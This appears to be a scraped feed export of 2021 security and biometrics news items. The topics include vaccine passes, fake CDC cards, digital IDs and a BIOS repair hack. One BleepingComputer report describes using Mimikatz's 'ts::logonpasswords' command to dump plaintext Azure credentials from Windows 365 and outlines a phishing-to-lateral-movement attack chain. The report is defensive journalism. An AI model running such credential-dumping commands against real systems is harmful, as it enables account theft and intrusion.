And in some positive news for CLEAR as well as society at large, the airport screening and biometric venue access specialist announced a partnership with OpenTable aimed at enabling users to verify their vaccination status when booking reservations on the latter's platform. It's a strong signal of CLEAR's growing interest in the growing vaccine passport space, where it has made pioneering efforts with its Health Pass app:

ForgeRock, meanwhile, got a lot of attention with its announcement of the appointment of Tschudy Smith as its new Chief People Officer. Smith is an accomplished HR executive, having previously served as AOL/Time Warner's Senior Leader in Human Resources and as Cisco's SVP of People and Communities:

And finally, a number of FindBiometrics visitors this week showed interest in a new episode of the ID Talk Podcast, in which FindBiometrics Founder Peter O'Neill spoke with JJ Baird, the Director of Engineering and Operations for IDEMIA's NORAM arm:

*

Stay tuned to FindBiometrics to keep up to date with the latest biometric innovations. You can also visit our sibling site Mobile ID World to learn more about the world of digital identity.

-

August 28, 2021 - by Alex Perala

# data[].attributes.attachment_link.title
Biometrics Roundup: Some Good News and Some Very Bad News - FindBiometrics

# data[].attributes.attachment_link.description
This week's roundup of FindBiometrics' top stories offers a few upbeat news items, and one piece of very bad news that also understandably attracted a lot of attention from readers. Let's get the bad news out of the way.

# data[].attributes.headline
Windows 365 exposes Microsoft Azure credentials in plaintext

# data[].attributes.subject
Windows 365 exposes Microsoft Azure credentials in plaintext

# data[].attributes.attachment_link.readable_text
A security researcher has figured out a way to dump a user's unencrypted plaintext Microsoft Azure credentials from Microsoft's new Windows 365 Cloud PC service using Mimikatz.

Mimikatz is an open-source cybersecurity project created by Benjamin Delpy that allows researchers to test various credential stealing and impersonation vulnerabilities.

"It's well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket, build Golden tickets, play with certificates or private keys, vault, ... maybe make coffee?," explains the project's GitHub page.

While created for researchers, due to the power of its various modules, it is commonly used by threat actors to dump plaintext passwords from the memory of the LSASS process or perform pass-the-hash attacks using NTLM hashes.

Using this tool, threat actors can spread laterally throughout a network until they control a Windows domain controller, allowing them to take over the Windows domain.

Windows 365 credentials can be dumped in plaintext

On August 2nd, Microsoft launched their Windows 365 cloud-based desktop service, allowing users to rent Cloud PCs and access them via remote desktop clients or a browser.

Microsoft offered free trials of virtual PCs that quickly ran out as people rushed to get their free Cloud PC for two months.

Delpy told BleepingComputer that he was one of the lucky few who could get a free trial and began testing the new service's security.

He found that the brand new service allows a malicious program to dump the Microsoft Azure plaintext email address and passwords for logged-in users.

Would you like to try to dump your #Windows365 Azure passwords in the Web Interface too?

A new#mimikatz release is here to test!
(Remote Desktop client still work, of course!)

> https://t.co/Wzb5GAfWfd

cc:@awakecoding @RyMangan pic.twitter.com/hdRvVT9BtG
- Benjamin Delpy (@gentilkiwi) August 7, 2021

The credential dumps are being done through a vulnerability he discovered in May 2021 that allows him to dump the plaintext credentials for users logged into a Terminal Server.

While a user's Terminal Server credentials are encrypted when stored in memory, Delpy says he could trick the Terminal Service process into decrypting them for him.

"Even better, I asked the terminal server process to decrypt them for me (and technically, terminal server process ask the kernel to decrypt it for itself)," Delpy told BleepingComputer in a conversation about his findings.

"Because only the Terminal Server can ask for this kind of own decryption, I had to trick it to decrypt the credentials for me :),"

BleepingComputer used a free Cloud PC trial on Windows 365 to test this technique. After connecting through the web browser and launching mimikatz with Administrative privileges, we entered the " ts::logonpasswords" command and mimikatz quickly dumped our login credentials in plaintext, as shown below.

Mimikatz listing my Azure account credentials in plaintext

This works over the web browser as it's still using the Remote Desktop Protocol.

So, what's the big deal?

You may be wondering what the big deal is if you need to be an Administrator to run mimikatz and you already know your Azure account credentials.

In the above scenario, you are right, and it is not a big deal.

However, what happens if a threat actor gains access to your Windows PC device to run commands?

For example, let's say that you open a phishing email with a malicious attachment on your Windows 365 Cloud PC that sneaks through Microsoft Defender.

Once you enable the malicious macros in the document, it can install a remote access program so that a threat actor can access the Cloud PC.

From there, it is trivial to gain administrative privileges using a vulnerability like PrintNightmare and then dump your clear-text credentials with mimikatz.

Using these credentials, the threat actor can spread laterally through other Microsoft services and potentially a company's internal network.

"It's exactly like dumping passwords from a normal session. If I can dump your password in TS sessions I can use it on other systems where you can have more privilege, data, etc," explained Delpy.

"It's common for lateral movements and gaining access to more privileged data on others systems. Particularly useful on VDI systems where others users are also logged in."

Delpy says he would typically recommend 2FA, smart cards, Windows Hello, and Windows Defender Remote Credential Guard to protect against this method. However, these security features are not currently available in Windows 365.

As Windows 365 is geared towards the enterprise, Microsoft will likely add these security features in the future, but for now, it is important to be aware of this technique.

# data[].attributes.attachment_link.title
Windows 365 exposes Microsoft Azure credentials in plaintext

# data[].attributes.attachment_link.description
A security researcher has figured out a way to dump a user's unencrypted plaintext Microsoft Azure credentials from Microsoft's new Windows 365 Cloud PC service using Mimikatz. Mimikatz is an open-source cybersecurity project created by Benjamin Delpy that allows researchers to test various credential stealing and impersonation vulnerabilities.

# data[].attributes.headline
The varied applications of contactless biometrics, remote authentication on full display

# data[].attributes.subject
The varied applications of contactless biometrics, remote authentication on full display

# data[].attributes.attachment_link.readable_text
U.S. federal government spending was a theme common to many of the top stories of the week on Biometric Update, with a GAO facial recognition report coinciding with news about engagements involving Dignari, Identity Strategy Partners and Tascent, and Clearview.

The continuing momentum of contactless and remote biometrics also continues to make headlines. Yoti is partnered with the UK Post Office on a digital identity app, while on the private sector side Idex Biometrics and Fingerprint Cards are counting down the last steps to mass adoption of biometric payment cards, and Collins Aerospace parent Raytheon is touting "connected aviation" as the next step for air travel technology.

Top biometrics news of the week

The many uses the U.S. federal government puts facial recognition to, and the attendant contracts and opportunities are reviewed extensively by the U.S. Government Accountability Office (GAO). Federal agencies plan to increase their use of facial recognition, with three-quarters of those surveyed already using the technology in 2020. Details are included for contracts and plans with over a dozen different biometrics providers.

Several contracts with federal agencies were also revealed this week. Dignari signed a BPA worth $99 million over five years with the Department of Homeland Security for identity, credential, and access management. The Army has awarded Identity Strategy Partners a Small Business Innovation Research project to build an access control system with Tascent biometrics, and a criminal investigations unit within the Army is a Clearview AI subscriber.

Researchers are warning that COVID-19 vaccination efforts could be hindered in some low and middle-income countries without adequate infrastructure to process information, including for patient identification. Biometrics may play a role in making patient identification both more reliable and privacy-preserving, and with systems required to manage the delivery of multiple dosages timed weeks or months apart, a narrow opportunity exists to build towards fair and sustainable healthcare infrastructure.

Contactless biometric access control with iris or facial recognition appears to be set for sustained growth, based on a pair of new market reports. The total access control market is expected to hit $15 billion by 2031, while iris biometrics are forecast to reach $4.3 billion within five years.

Comprehensive biometrics solutions like those Collins Aerospace provides to Tokyo Haneda and Las Vegas airports are part of what Collins parent Raytheon Technologies calls " connected aviation." The company presents the familiar curb-to-gate seamless travel concept based on a single biometric token as part of a larger ecosystem taking in operations from data-driven insights for cabin crew to air traffic management.

Idex Biometrics and Fingerprint Cards have each signed new deals for biometric payment cards, with the former receiving a new order for its TrustedBio sensors from an existing customer ramping up production, and the latter partnering with Indian smart card manufacturer Seshaasai. FPC sees growth coming for fingerprint-enabled cards in Latin America.

Intel RealSense has been shut down after less than a year, in part due to weak sales of its cameras supporting on-device 3D facial recognition. The company is focusing on six core markets that do not include edge computer vision cameras.

The UK Post Office has launched a digital ID app developed by Yoti and providing biometrics-based identity or age verification. For now, the app can be used by people picking up packages at over 10 thousand Post Office locations, as well as 13,000 convenience stores, and in the long run may provide a head start in the UK's expected adoption of digital identity.

Biometric data collected by aid agencies like UNHCR in Afghanistan is at risk of falling into the hands of the Taliban, according to experts and digital rights advocates. The risks were foreseeable, they say, and threaten to far outweigh the value biometrics have delivered for agencies since their introduction in the country in 2002.

Remote identity verification provided by ID.me, with facial authentication powered by Paravision, has saved Arizona $40 billion in fraudulent pandemic benefits payments since its introduction, according to a case study. A vulnerable system drew the attention of professional criminals, ID.me says, with an analysis showing the majority of claims were fraudulent, before the state contracted it to verify applicants' identities.

FaceTec SVP for North American Operations Jay Meier presents what he calls ' The PKI and device authentication fallacy ' in a Biometric Update guest post. Authenticating parties relying on trust in a device are leaving room for attackers in control of a trusted device, as in the SolarWinds breach, Meier writes. The fallacy is that the deterministic authentication of a device provided by PKI also authenticates the user, whereas in fact biometrics, though probabilistic, provides assurance PKI cannot.

Pindrop claims to have found the two unknown audio clips inserted into Anthony Bourdain biopic Roadrunner with deepfake technology, Wired reports. The company cleaned up the audio and processed speech segments with a synthetic voice detection algorithm in an initial scan, and then false positives removed from the 30 segments scoring the highest probability. The film's production company and distributor have declined to comment.

Let us know about any articles, podcasts or other content you think should be shared with the biometrics industry and digital identity community in the comments below or through social media.

Article Topics

biometric cards | biometric data | biometrics | contactless | digital ID | digital identity | facial recognition | government purchasing | onboarding | remote authentication

# data[].attributes.attachment_link.title
The varied applications of contactless biometrics, remote authentication on full display | Biometric Update

# data[].attributes.attachment_link.description
U.S. federal government spending was a theme common to many of the top stories of the week on Biometric Update, with a GAO facial recognition report coinciding with news about engagements involving Dignari, Identity Strategy Partners and Tascent, and Clearview. The continuing momentum of contactless and remote biometrics also continues to make headlines.

# data[].attributes.headline
Fake CDC cards, digital health certificates spreading amid COVID privacy concerns

# data[].attributes.subject
Fake CDC cards, digital health certificates spreading amid COVID privacy concerns

# data[].attributes.attachment_link.readable_text
The twin concerns of privacy and trust are coming to the fore in social dialogue around digital health passes and COVID-19 vaccination credentials.

The American Centers for Disease Control (CDC) has issued guidance prohibiting the use of data collected from vaccine recipients in commercial marketing, which World Privacy Forum says is a good move. Now the privacy advocacy group wants the same guidance extended to systems for proving vaccination.

WFP Executive Director Pam Dixon spoke to the CDC's ACIP Committee (Advisory Committee on Immunization Practices), urging protections for the point of vaccination to be extended to digital health passes and vaccination credentials. For entities that have hybrid operations split between healthcare, where personal information is protected by HIPAA, and other businesses lines, such as supermarkets containing pharmacies, patient data must be confined to the healthcare side.

The WFP also expresses some concern over the breadth of HIPAA waivers extended for COVID.

Fakes abound

Fraudulent COVID status documents are being found on messaging apps like Telegram and the dark web in increasing number, according to the testimony of government investigators and cybersecurity professionals reported by The Wall Street Journal.

Fake CDC cards have been found for sale on Amazon, eBay and Etsy, and a bar owner in California was arrested for selling fake cards in May. A homeopathic doctor in California was arrested in July for providing CDC cards claiming vaccination with a specific Moderna lot when issuing something referred to by the Journal as "immunization pellets."

While the CDC cards issued in the U.S. include virtually no protection against spoofing, the EU's Digital COVID Certificate (EUDCC) is supposed to be more secure. Despite this, around 500 fakes have been sold in the past few months from around 30 social media profiles in Italy. A spokesperson for Telegram said the platform has shut down channels for selling fakes at the request of the Italian government.

Fraudulent credentials continue to be sold, however, in at least several European countries, often costing €100 (US$118). While demand increased after Italy announced proof of vaccination as a requirement for some travel and events, the fakes are not expected to defeat verification systems.

As with other clandestine online transactions, cybersecurity experts warn that buyers often end up receiving nothing at all.

U.S. Customs and Border Protection (CBP) describes officers at the port of Memphis seizing hundreds of counterfeit CDC cards on a nightly basis, often in the form of low-quality blanks from China bound for different cities around the U.S.

Minimal effort is put into disguising the cards, and CBP says all of the shipments are from China.

Buying, selling and using counterfeit COVID-19 vaccination cards are all crimes in the U.S.

"These vaccinations are free and available everywhere," comments Michael Neipert, area port director of Memphis. "If you do not wish to receive a vaccine, that is your decision. But don't order a counterfeit, waste my officer's time, break the law, and misrepresent yourself. CBP Officers at the Area Port of Memphis remain committed to stopping counterfeit smuggling and helping to protect our communities. But just know that when you order a fake vaxx card, you are using my officers time as they also seize fentanyl and methamphetamines."

Rollouts continue

Gulf Air has extended its trial of the IATA Travel Pass to more its Dubai, Frankfurt and Paris routes, as well as to passengers with non-biometric passports, using iOS and Android devices.

The Kingdom of Bahrain's national carrier plans to implement the digital health pass for more routes in the future.

Pakistan is launching a mobile app based on its NADRA biometric database to allow citizens and foreigners vaccinated in the country to prove their status.

Tariq Malik announced the 'PAK Covid-19 Vaccination Pass,' which presents the bearer's status through a QR code and can be stored in digital wallets like Apple Wallet.

Article Topics

biometrics | data protection | digital ID | fraud prevention | health passes | IATA Travel Pass | identity verification | mobile app | privacy | travel documents | World Privacy Forum

# data[].attributes.attachment_link.title
Fake CDC cards, digital health certificates spreading amid COVID privacy concerns | Biometric Update

# data[].attributes.attachment_link.description
The twin concerns of privacy and trust are coming to the fore in social dialogue around digital health passes and COVID-19 vaccination credentials. The American Centers for Disease Control (CDC) has issued guidance prohibiting the use of data collected from vaccine recipients in commercial marketing, which World Privacy Forum says is a good move.

# data[].attributes.headline
Governments extending digital IDs secured with biometrics, from mDLs to payments

# data[].attributes.subject
Governments extending digital IDs secured with biometrics, from mDLs to payments

# data[].attributes.attachment_link.readable_text
Government digital ID programs, particularly mobile driver's licenses (mDLs) and international travel documents are a common thread found in many of the week's most widely-read stories on Biometric Update.

Amid a G20 meeting and a cross-border trial unveiled by Spain and Germany, there is plenty of private-sector activity, with Thales supporting Florida's mDLs, joint training with Onfido, and a new way of thinking about the technology supported by Evernym gaining traction. Elsewhere, Zwipe and Idex Biometrics announced further steps towards biometric payment cards' mass adoption, Tech5 and Yinda Infocomm positioning themselves to provide biometrics for Indian retail payments and enterprise digital transformation, respectively, and Idemia has spotlighted its impressive results in the latest NIST analysis of 1:N facial recognition algorithm accuracy.

Top biometrics news of the week

Ministers from the G20 group of nations met this week in Italy, discussing the role of digital identity for digital service access and digital transformation. The Ministers want to share best practices and explore digital identity that provides security and complies with privacy regulations, which would help ensure the continuity of government services.

Florida has advanced to testing mobile driver's licenses secured with biometrics, with an operational deployment possible by year's end. As previously reported by Biometric Update, Thales is providing the technology behind the test, and the company's Steve Purdy, who contributed a guest post on the subject earlier this year, emphasizes the importance of privacy to the project. Much political capital has been expended in the state demonizing tech and various government identification initiatives, which may yet pose a barrier.

Mobile driver's licenses can do a lot more than prove driving privileges, of course, and Utah is adding health care functions to its mDL, in a partnership with Harmons Grocery, just as Shanghai's digital health pass is being given transportation and other functions. These developments show part of what digital ID researcher and consultant Tracey Follows has in mind when pitching 'digital wallet' as the operative concept, with reference to Evernym's Drummond Reed.

Tests and operational deployments of digital health passes continue to be announced as the civil aviation industry claws its way back from its near-shutdown during the early stages of the pandemic. TestFRWD's Yoti biometrics-powered app is verifying at-home test results for Lufthansa, Cathay Pacific advancing beyond the test stage with the CommonPass, and Emirates implementing the IATA Travel Pass more broadly, which Qantas will also use.

Government digital ID plans are even extending across borders, with a new agreement between Spain and Germany to develop a pilot of an open, decentralized identity ecosystem, which makes sense given the self-sovereign bent of Germany's national ID system. Proponents of that approach were given further ammunition by a breach of Estonian data, including photos of citizens used for IDs, names and digital ID codes.

Onfido teamed with INTERPOL to train 30 officers from two U.S. airports on how to spot fraudulent passports and other travel identity documents through examination of the documents' embedded security features and knowledge of current counterfeit and forgery tactics. The use of biometrics to authenticate people bearing travel documents to the information those documents contain also reached new airports in the U.S. and Russia.

Zwipe has signed a biometric payment card deal expected to generate $1.9 million in revenue, marking both another step towards wide mass market availability of fingerprint-enabled cards, and a dramatic improvement in the company's top line. In another step for the technology, Idex Biometrics has launched a new TrustedBio product to enable card manufacturers to utilize standard, and therefore less costly secure elements.

Idemia has scored impressive results for biometric accuracy in the latest facial recognition test from NIST, scoring among the top 5 in a range of categories. Idemia National Security Solutions touted the company's repeated positive results, and its technology's effectiveness regardless of the subjects' gender, skin color or age.

Tech5 has won the National Payments Corporation of India's PayAuth Challenge, which positions the company to provide its biometric technology for retail payments through the company's unified payments interface. Yinda Infocomm, which recently took a stake in Tech5, also moved to position itself with an agreement on a development partnership with Vision Group.

The potential pitfalls of an over-generalized message on digital ID were discussed by a panel of experts affiliated with GoodID in a recent online event. Tom Fisher, Emma Lindley, Teki Akuetteh Falconer and Titi Akinsanmi all express concerns about exclusion, and the different ways it can creep into national ID systems, but also offer some suggestions for ways governments can avoid it - when they are so inclined.

TruNarrative celebrates its third anniversary of fighting financial crime and helping businesses ensure regulatory compliance by updating its visual branding. The company now employs over 60 people at its headquarters in Leeds, which Co-founder Larry Smith describes as "the fastest growing Fintech hub in Europe," and is anticipating further growth from its eight-figure sales numbers.

If you spot an article, podcast or other content that you would like to share with the biometrics and digital identity community please let us know in the comments below or through social media.

Article Topics

biometric cards | biometrics | digital identity | digital wallet | driver's license | facial recognition | fraud prevention | health passes | identity document | national ID | payments | privacy | travel documents

# data[].attributes.attachment_link.title
Governments extending digital IDs secured with biometrics, from mDLs to payments | Biometric Update

# data[].attributes.attachment_link.description
Government digital ID programs, particularly mobile driver's licenses (mDLs) and international travel documents are a common thread found in many of the week's most widely-read stories on Biometric Update. Amid a G20 meeting and a cross-border trial unveiled by Spain and Germany, there is plenty of private-sector activity, with Thales supporting Florida's mDLs, joint training with Onfido, and a new way of thinking about the technology supported by Evernym gaining traction.

# data[].attributes.headline
Age Verification: Determining age using facial features

# data[].attributes.subject
Age Verification: Determining age using facial features

# data[].attributes.attachment_link.readable_text
Can we accurately estimate a person's age without referring to personal documents? To what accuracy can we do this, and what tools can we use?

This whitepaper by ICU Intelligent Identification looks at how accurately estimating a person's age from just looking at their face is a very challenging task and how technology can help support those who need to perform this task everyday in order to protect children from accessing age restricted goods.

Download White Paper

Please fill out the following brief form in order to access and download this white paper.

Article Topics

age verification | artificial intelligence | biometrics | facial analysis | Innovative Technology

# data[].attributes.attachment_link.title
Age Verification: Determining age using facial features | Biometric Update

# data[].attributes.attachment_link.description
Can we accurately estimate a person's age without referring to personal documents? To what accuracy can we do this, and what tools can we use? This whitepaper by ICU Intelligent Identification looks at how accurately estimating a person's age from just looking at their face is a very challenging task and how technology can help support those who need to perform this task everyday in order to protect children from accessing age restricted goods.

# data[].attributes.headline
BIO-key Releases New EcoID II USB Fingerprint Scanner

# data[].attributes.subject
BIO-key Releases New EcoID II USB Fingerprint Scanner

# data[].attributes.attachment_link.title
BIO-key Releases New EcoID II USB Fingerprint Scanner - FindBiometrics

# data[].attributes.attachment_link.description
BIO-key has released a new version of its EcoID USB fingerprint scanner. The EcoID II improves on the legacy of its predecessor with upgraded algorithms and a smaller form factor to improve performance and make the device more user-friendly. To that end, the EcoID is built with new scanner technology, and utilizes BIO-key's own algorithms for scanning and image capture.

# data[].attributes.headline
Man admits impersonating Apple support staff to steal 620,000 photos from iCloud accounts

# data[].attributes.subject
Man admits impersonating Apple support staff to steal 620,000 photos from iCloud accounts

# data[].attributes.headline
RAZER MOUSE GRANTS WINDOWS ADMIN PRIVILEGES

# data[].attributes.subject
RAZER MOUSE GRANTS WINDOWS ADMIN PRIVILEGES

# data[].attributes.attachment_link.title
Razer Mouse Grants Windows Admin Privileges

# data[].attributes.attachment_link.description
As the common saying goes, "all networked computers are vulnerable to exploits, but some networked computers are more vulnerable than others". While not the exact wording from Animal Fa...

# data[].attributes.headline
SCHOOL SURPLUS LAPTOP BIOS HACKED TO REMOVE HARDWARE RESTRICTIONS

# data[].attributes.subject
SCHOOL SURPLUS LAPTOP BIOS HACKED TO REMOVE HARDWARE RESTRICTIONS

# data[].attributes.attachment_link.readable_text
Why did [Hales] end up hacking the BIOS on a 10 year old laptop left over from an Australian education program? When your BIOS starts telling you you're not allowed to use a particular type of hardware, you don't have much of a choice.

Originally [Hales] planned on purchasing a used Lenovo X260 to replace his dying laptop, but his plans were wrecked. A pandemic-induced surge in demand that even the used laptop market caused prices to bloat. The need for a small and affordable laptop with a built in Ethernet port led to the purchase of a Lenovo Thinkpad x131e. Although the laptop was older than he liked, [Hales] was determined to make it work. Little did he know the right-to-repair journey he was about to embark on.

Problems first arose when the Broadcom WiFi adapter stopped working reliably. He replaced it, but the coaxial antenna cable was found to be damaged. Even after replacing the damaged cabling, the WiFi adapter was still operating very poorly. Recalling past problems with fickle Broadcom WiFi adapters, it was decided that an Intel mPCIe WiFi adapter would take its place. When power was re-applied, [Hales] was shocked to find the following message:

Unauthorized network card is plugged in - Power off and remove the miniPCI network card

And this is where things got interesting. With off the shelf SOIC8 clips and a CH340 programmer, [Hales] dumped the BIOS from the laptop's flash chip to another computer and started hacking away. After countless hours of researching, prodding, hacking, and reverse engineering, the laptop was useful once again with the new Intel WiFi adapter. His site documents in great detail how he was able to reverse engineer the BIOS over the course of several days.

But that's not all! [Hales] was also able to modify the hardware so that his slightly more modern mPCIe WiFi adapter would come back on after the computer had been put in Hibernation. It's an elegant hack, and be sure to check [Hales'] site to get the full details. And at the end, there's a nice Easter egg for anybody who's ever wanted to make their laptop boot up with their own logo.

We applaud [Hales] for his fine efforts to keep working equipment out of the landfill. We've covered many hacks that had similar goals in the past. Do you have a hack you'd like to share? Submit it via the Tips Line.

Posted in Tagged computer hacks, bios, flash, reverse engineering, right to repair, soic8, UEFI laptops hacks

# data[].attributes.attachment_link.title
School Surplus Laptop BIOS Hacked To Remove Hardware Restrictions

# data[].attributes.attachment_link.description
Why did [Hales] end up hacking the BIOS on a 10 year old laptop left over from an Australian education program? When your BIOS starts telling you you're not allowed to use a particular type of hardware, you don't have much of a choice.